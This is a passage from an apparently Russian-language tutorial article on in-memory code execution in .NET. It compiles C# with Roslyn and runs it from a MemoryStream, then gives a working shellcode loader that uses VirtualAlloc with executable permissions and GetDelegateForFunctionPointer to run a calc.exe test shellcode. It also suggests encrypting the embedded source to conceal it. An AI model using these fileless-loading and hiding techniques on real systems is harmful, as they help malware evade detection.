\u0443\u0437\u0435\u043b \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0434\u0435\u0440\u0435\u0432\u0430. DescendantNodes() \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0432\u0441\u0435 \u0443\u0437\u043b\u044b \u0434\u0435\u0440\u0435\u0432\u0430, \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u043d\u044b\u0435 \u043e\u0442 \u043a\u043e\u0440\u043d\u0435\u0432\u043e\u0433\u043e. OfType&lt;UsingDirectiveSyntax>() \u0444\u0438\u043b\u044c\u0442\u0440\u0443\u0435\u0442 \u0443\u0437\u043b\u044b, \u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u0435, \u0447\u0442\u043e \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0441\u043e\u0431\u043e\u0439 \u0434\u0438\u0440\u0435\u043a\u0442\u0438\u0432\u044b using<\/p>\n<\/li>\n<li>\n<p>SelectMany(s => s) \u2014 \u0442\u0430\u043a \u043a\u0430\u043a \u043a\u0430\u0436\u0434\u043e\u0435 \u0434\u0435\u0440\u0435\u0432\u043e \u043c\u043e\u0436\u0435\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u0434\u0438\u0440\u0435\u043a\u0442\u0438\u0432 using, \u0432\u044b\u0437\u043e\u0432 SelectMany \u043d\u0443\u0436\u0435\u043d \u0434\u043b\u044f \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u043f\u0438\u0441\u043a\u0430 \u0441\u043f\u0438\u0441\u043a\u043e\u0432 \u0432 \u043e\u0434\u0438\u043d \u043e\u0431\u0449\u0438\u0439 \u0441\u043f\u0438\u0441\u043e\u043a<\/p>\n<\/li>\n<li>\n<p>ToArray() \u2014 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u0443\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u0448\u0438\u0439\u0441\u044f \u0441\u043f\u0438\u0441\u043e\u043a \u0432 \u043c\u0430\u0441\u0441\u0438\u0432 \u0434\u043b\u044f \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f. \u041f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e \u043f\u0440\u043e\u0431\u0435\u0433\u0430\u0435\u043c\u0441\u044f \u043f\u043e \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u043c \u0441\u0431\u043e\u0440\u043a\u0430\u043c \u0438 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u043c \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 .dll<\/p>\n<\/li>\n<\/ul>\n<p>\u041e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u043b\u0438\u0448\u044c \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0432 \u043e\u0431\u044a\u0435\u043a\u0442 \u0441\u0431\u043e\u0440\u043a\u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c. \u0414\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 \u043c\u0435\u0442\u043e\u0434 <a href=\"https:\/\/learn.microsoft.com\/en-us\/dotnet\/api\/microsoft.codeanalysis.compilation.addreferences?view=roslyn-dotnet-4.6.0\">compilation.AddReferences<\/a>.<\/p>\n<pre><code class=\"cs\">compilation = compilation.AddReferences(references);<\/code><\/pre>\n<p>\u041d\u0430\u043a\u043e\u043d\u0435\u0446 \u0432\u0441\u044f \u043c\u0430\u0433\u0438\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0430 \u043a\u043b\u0430\u0441\u0441\u0430 <a href=\"https:\/\/learn.microsoft.com\/ru-ru\/dotnet\/api\/system.io.memorystream?view=net-7.0\">MemoryStream<\/a>, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0441 \u0434\u0430\u043d\u043d\u044b\u043c\u0438 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438. \u042d\u0442\u043e\u0442 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440 \u043c\u044b \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u043c \u0432 \u043c\u0435\u0442\u043e\u0434 compilation.Emit() (\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 \u0441\u0431\u043e\u0440\u043a\u0438), \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043f\u043e\u043c\u0435\u0449\u0435\u043d\u0438\u044e \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0441\u0431\u043e\u0440\u043a\u0438 \u0432 \u043f\u0430\u043c\u044f\u0442\u044c. <\/p>\n<pre><code class=\"cs\">using (var ms = new MemoryStream())     {         EmitResult result = compilation.Emit(ms);           if (!result.Success)         {                 IEnumerable&lt;Diagnostic> failures = result.Diagnostics.Where(diagnostic =>                     diagnostic.IsWarningAsError ||                     diagnostic.Severity == DiagnosticSeverity.Error);                   foreach (Diagnostic diagnostic in failures)             {                     Console.Error.WriteLine(\"{0}: {1}, {2}\", diagnostic.Id, diagnostic.GetMessage(), diagnostic.Location);             }         }         else         {                 ms.Seek(0, SeekOrigin.Begin);                 AssemblyLoadContext context = AssemblyLoadContext.Default;                 Assembly assembly = context.LoadFromStream(ms);                 assembly.EntryPoint.Invoke(null, new object[] { new string[] { \"arg1\", \"arg2\", \"etc\" } });           }     }<\/code><\/pre>\n<p>\u0417\u0430\u0442\u0435\u043c \u043d\u0435 \u0441\u043e\u0441\u0442\u0430\u0432\u0438\u0442 \u0442\u0440\u0443\u0434\u0430 \u0438\u0437\u0432\u043b\u0435\u0447\u044c \u0441\u0431\u043e\u0440\u043a\u0443 \u0438\u0437 \u043f\u0430\u043c\u044f\u0442\u0438 \u0438 \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u043c\u0435\u0442\u043e\u0434 \u0438\u0437 \u043d\u0435\u0451. <\/p>\n<details class=\"spoiler\">\n<summary>\u041f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u0434 \u043f\u0440\u043e\u0435\u043a\u0442\u0430 \u043f\u0440\u0438\u0432\u0435\u0434\u0451\u043d \u043d\u0438\u0436\u0435. <\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"cs\">using System; using System.CodeDom.Compiler; using System.IO; using System.Reflection; using System.Runtime.Loader; using Microsoft.CodeAnalysis; using Microsoft.CodeAnalysis.CSharp; using Microsoft.CodeAnalysis.CSharp.Syntax; using Microsoft.CodeAnalysis.Emit;   class Program { static void Main() {     \/\/ \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0430 \u043a\u043b\u0430\u0441\u0441\u0430, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0435\u0433\u043e \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434     SyntaxTree syntaxTree = CSharpSyntaxTree.ParseText(@\"         namespace ns{             using System;             public class App{                     public static void Main(string[] args){                         Console.Write(\"\"dada\"\");                 }             }         }\");     \/\/ \u0441\u043e\u0437\u0434\u0430\u0435\u043c \u043e\u043f\u0446\u0438\u0438 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440\u0430, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0433\u043e\u0432\u043e\u0440\u0438\u043c, \u0447\u0442\u043e \u0443 \u043d\u0430\u0441 \u043a\u043e\u043d\u0441\u043e\u043b\u044c\u043d\u043e\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435     var options = new CSharpCompilationOptions(            OutputKind.ConsoleApplication,            optimizationLevel: OptimizationLevel.Debug,            allowUnsafe: true);       \/\/ \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u043e\u0431\u044a\u0435\u043a\u0442\u0430 \u0441\u0431\u043e\u0440\u043a\u0438     var compilation = CSharpCompilation.Create(Path.GetRandomFileName(), options: options);       \/\/ \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 \u0441\u0431\u043e\u0440\u043a\u0443     compilation = compilation.AddSyntaxTrees(syntaxTree);       \/\/ \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0443\u0442\u044f, \u0433\u0434\u0435 \u043b\u0435\u0436\u0430\u0442 \u0432\u0441\u0435 \u0441\u0431\u043e\u0440\u043a\u0438     var assemblyPath = Path.GetDirectoryName(typeof(object).Assembly.Location);         List&lt;MetadataReference> references = new List&lt;MetadataReference>();                                 \/\/ \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0445 \u0441\u0431\u043e\u0440\u043e\u043a \u0432 \u0441\u043f\u0438\u0441\u043e\u043a         references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, \"System.Private.CoreLib.dll\")));         references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, \"System.Console.dll\")));         references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, \"System.Runtime.dll\")));                                 \/\/ \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u043c \u0441\u0431\u043e\u0440\u043a\u0438 \u0438\u0437 \u0441\u0438\u043d\u0442\u0430\u043a\u0441\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0434\u0435\u0440\u0435\u0432\u0430     var usings = compilation.SyntaxTrees.Select(tree => tree.GetRoot().DescendantNodes().OfType&lt;UsingDirectiveSyntax>()).SelectMany(s => s).ToArray();       \/\/ \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u043c \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 .dll     foreach (var u in usings)     {             references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, u.Name.ToString() + \".dll\")));     }       \/\/ \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u043c \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438     compilation = compilation.AddReferences(references);       \/\/ \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u043c     using (var ms = new MemoryStream())     {         EmitResult result = compilation.Emit(ms);           if (!result.Success)         {                 IEnumerable&lt;Diagnostic> failures = result.Diagnostics.Where(diagnostic =>                     diagnostic.IsWarningAsError ||                     diagnostic.Severity == DiagnosticSeverity.Error);                   foreach (Diagnostic diagnostic in failures)             {                     Console.Error.WriteLine(\"{0}: {1}, {2}\", diagnostic.Id, diagnostic.GetMessage(), diagnostic.Location);             }         }         else         {                 ms.Seek(0, SeekOrigin.Begin);                 AssemblyLoadContext context = AssemblyLoadContext.Default;                 Assembly assembly = context.LoadFromStream(ms);                 assembly.EntryPoint.Invoke(null, new object[] { new string[] { \"arg1\", \"arg2\", \"etc\" } });           }     } } }<\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n<p>\u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043b\u044e\u0431\u043e\u0439 \u0443\u0434\u043e\u0431\u043d\u044b\u0439 \u0434\u043b\u044f \u043d\u0430\u0441 \u043a\u043e\u0434 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438. \u0415\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u2014 \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u0438 \u0431\u0443\u0434\u0443\u0442 \u0432 \u044f\u0432\u043d\u043e\u043c \u0432\u0438\u0434\u0435 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u044c\u0441\u044f \u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0435, \u0447\u0442\u043e \u043d\u0435 \u0435\u0441\u0442\u044c \u0445\u043e\u0440\u043e\u0448\u043e, \u043a\u043e\u043d\u0435\u0447\u043d\u043e. \u041d\u043e \u0442\u0443\u0442 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043a\u0430\u043a\u0438\u0435-\u043d\u0438\u0431\u0443\u0434\u044c \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043b\u0438\u0431\u043e \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u043e\u0447\u043d\u044b\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0434\u043b\u044f \u0441\u043e\u043a\u0440\u044b\u0442\u0438\u044f \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430. <\/p>\n<p>\u041e\u0431\u0440\u0430\u0442\u0438\u0442\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435, \u0447\u0442\u043e \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043a\u043e\u0434\u0430 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u043f\u0430\u043a\u0435\u0442 Microsoft.CodeAnalysis.CSharp: <\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/25f\/1b7\/c2e\/25f1b7c2e8f6ce0dbe52f23a81369c62.png\" width=\"752\" height=\"786\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/25f\/1b7\/c2e\/25f1b7c2e8f6ce0dbe52f23a81369c62.png\"\/><\/figure>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/c92\/7cb\/9d7\/c927cb9d748e9bc275010fc2c96e4fda.png\" width=\"1710\" height=\"1435\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/c92\/7cb\/9d7\/c927cb9d748e9bc275010fc2c96e4fda.png\"\/><\/figure>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/f3c\/3de\/006\/f3c3de0062046f7a7f9b0f89ed55e038.png\" width=\"1535\" height=\"1285\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/f3c\/3de\/006\/f3c3de0062046f7a7f9b0f89ed55e038.png\"\/><\/figure>\n<h3>C#, \u043f\u0430\u043c\u044f\u0442\u044c \u0438 \u043d\u0435\u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0438\u0306 \u043a\u043e\u0434<\/h3>\n<p>\u0414\u043e\u0442\u043d\u0435\u0442\u043e\u0432\u0441\u043a\u0438\u0435 \u0441\u0431\u043e\u0440\u043a\u0438 \u043c\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043d\u0430\u0443\u0447\u0438\u043b\u0438\u0441\u044c, \u043d\u043e \u0447\u0442\u043e, \u0435\u0441\u043b\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u0431\u044b\u043b\u0430 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u0430 \u043d\u0430 \u0421++? \u0412 \u044d\u0442\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043e\u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0432\u043d\u0435 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b CLR \u0438 \u0431\u0443\u0434\u0435\u0442 \u0441\u0447\u0438\u0442\u0430\u0442\u044c\u0441\u044f \u043d\u0435\u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u043c \u043a\u043e\u0434\u043e\u043c. \u041a\u0430\u043a \u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435, \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0435\u0451 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u0447\u0435\u0440\u0435\u0437 \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0435 \u0432\u044b\u0448\u0435 \u043c\u0435\u0442\u043e\u0434\u044b \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u0441\u044f. <\/p>\n<p>\u0422\u043e\u0447\u043a\u0443 \u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0440\u0430\u043d\u043e, \u0432\u0435\u0434\u044c \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0442 \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u044b. \u0427\u0442\u043e, \u0435\u0441\u043b\u0438 \u043c\u044b \u0441\u0433\u0435\u043d\u0435\u0440\u0438\u0440\u0443\u0435\u043c \u0448\u0435\u043b\u043b\u043a\u043e\u0434 \u043e\u0442 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b \u043d\u0430 \u0421++, \u0437\u0430\u0442\u0435\u043c \u0437\u0430\u0441\u0443\u043d\u0435\u043c \u044d\u0442\u043e\u0442 \u0448\u0435\u043b\u043b\u043a\u043e\u0434 \u0432 \u0421# \u043f\u0440\u043e\u0435\u043a\u0442, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u043c \u043b\u043e\u0433\u0438\u043a\u0443 \u043f\u043e \u0438\u043d\u0436\u0435\u043a\u0442\u0443 \u044d\u0442\u043e\u0433\u043e \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0430 \u0432 \u0430\u0434\u0440\u0435\u0441\u043d\u043e\u0435 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u043e \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430? \u0412 \u0442\u0430\u043a\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043d\u0430 \u0432\u044b\u0445\u043e\u0434\u0435 \u0443 \u043d\u0430\u0441 \u0431\u0443\u0434\u0435\u0442 \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u0430\u044f \u0441\u0431\u043e\u0440\u043a\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442\u0441\u044f \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c System.Reflection.Assembly.Load() \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043d\u0430\u0448 \u0448\u0435\u043b\u043b\u043a\u043e\u0434. \u041f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u0442\u0430\u043a\u0430\u044f \u043c\u0430\u0442\u0440\u0451\u0448\u043a\u0430 \u0438\u0437 \u0447\u0435\u0442\u044b\u0440\u0451\u0445 \u043a\u0443\u043a\u043e\u043b: \u0432\u044b\u0437\u043e\u0432 Assembly.Load() \u2014 \u043f\u0435\u0440\u0432\u0430\u044f \u043a\u0443\u043a\u043b\u0430, \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u043c\u0430\u044f \u0441\u0431\u043e\u0440\u043a\u0430 \u2014 \u0432\u0442\u043e\u0440\u0430\u044f, \u0448\u0435\u043b\u043b\u043a\u043e\u0434 \u0432 \u0441\u0431\u043e\u0440\u043a\u0435 \u2014 \u0442\u0440\u0435\u0442\u044c\u044f, \u0438, \u043d\u0430\u043a\u043e\u043d\u0435\u0446, \u0448\u0435\u043b\u043b\u043a\u043e\u0434 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043d\u0430\u0448\u0443 \u0421++ \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443 \u2014 \u0447\u0435\u0442\u0432\u0451\u0440\u0442\u0430\u044f. <\/p>\n<p>\u0418\u0442\u0430\u043a, \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u044e \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u0438\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0431\u0443\u0434\u0435\u0442 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0442\u044c \u0437\u0430\u043f\u0443\u0441\u043a \u043d\u0430\u0448\u0435\u0433\u043e \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0430. \u0417\u0434\u0435\u0441\u044c \u0431\u0443\u0434\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0439 \u0448\u0435\u043b\u043b\u043a\u043e\u0434-\u0440\u0430\u043d\u043d\u0435\u0440 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e <a href=\"https:\/\/learn.microsoft.com\/ru-ru\/dotnet\/api\/system.runtime.interopservices.marshal.getdelegateforfunctionpointer?view=net-7.0\">GetDelegateForFunctionPointer()<\/a>: <\/p>\n<pre><code class=\"cs\">using System; using System.Runtime.InteropServices;   namespace ShellcodeLoader { public class Program {     public static void Main(string[] args)     {         byte[] x86shc = new byte[193] {             0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,             0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,             0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,             0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,             0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,             0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,             0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,             0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,             0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,             0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,             0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,             0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,             0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 };           IntPtr funcAddr = VirtualAlloc(                               IntPtr.Zero,                               (uint)x86shc.Length,                               0x1000, 0x40);         Marshal.Copy(x86shc, 0, (IntPtr)(funcAddr), x86shc.Length);         pFunc f = (pFunc)Marshal.GetDelegateForFunctionPointer(funcAddr, typeof(pFunc));         f();           return;     }       #region pinvokes         [DllImport(\"kernel32.dll\")]     public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);     delegate void pFunc();       #endregion } }<\/code><\/pre>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u043a\u043e\u043d\u0432\u0435\u0440\u0442\u0438\u0440\u0443\u0435\u043c \u0431\u0430\u0439\u0442\u044b \u044d\u0442\u043e\u0439 \u0441\u0431\u043e\u0440\u043a\u0438 \u043f\u043e \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u0448\u0435 \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c\u0443 \u0432 base64 \u0441\u0442\u0440\u043e\u043a\u0443 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c \u0447\u0435\u0440\u0435\u0437 System.Reflection.Assembly: <\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/d8a\/451\/3bb\/d8a4513bb1cc107a65e6deba1a6918e1.png\" width=\"1609\" height=\"1350\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/d8a\/451\/3bb\/d8a4513bb1cc107a65e6deba1a6918e1.png\"\/><\/figure>\n<p>\u041e\u0442\u043b\u0438\u0447\u043d\u043e! \u0417\u0430\u043f\u0443\u0441\u043a \u0442\u0435\u0441\u0442\u043e\u0432\u043e\u0433\u043e \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0430 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442. \u041f\u043e\u0440\u0430 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0438\u0442\u044c \u043a \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 \u043d\u0435\u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0441\u0430\u043c\u043e\u0433\u043e \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0430. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u043c\u0441\u044f \u0441 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043e\u0439. \u041f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u044e \u043d\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0447\u0442\u043e-\u0442\u043e \u0431\u043e\u043b\u0435\u0435-\u043c\u0435\u043d\u0435\u0435 \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u043e\u0435, \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0442\u0435\u043e\u0440\u0438\u044e \u043d\u0430\u0432\u0435\u0440\u043d\u044f\u043a\u0430. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c \u0433\u0440\u0430\u0444\u0438\u043a\u0443, \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 API-\u0432\u044b\u0437\u043e\u0432\u044b, \u0446\u0438\u043a\u043b\u044b, \u043a\u043e\u043b\u043b\u0431\u044d\u043a\u0438 \u0438 \u043f\u0440\u043e\u0447\u0443\u044e \u0436\u0443\u0442\u044c: <\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/bfc\/5ec\/d22\/bfc5ecd22a45354c30c4cfb4958d9a69.png\" alt=\"\" title=\"\" width=\"1218\" height=\"920\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/bfc\/5ec\/d22\/bfc5ecd22a45354c30c4cfb4958d9a69.png\"\/><\/figure>\n<pre><code class=\"cpp\">#include &lt;Windows.h>  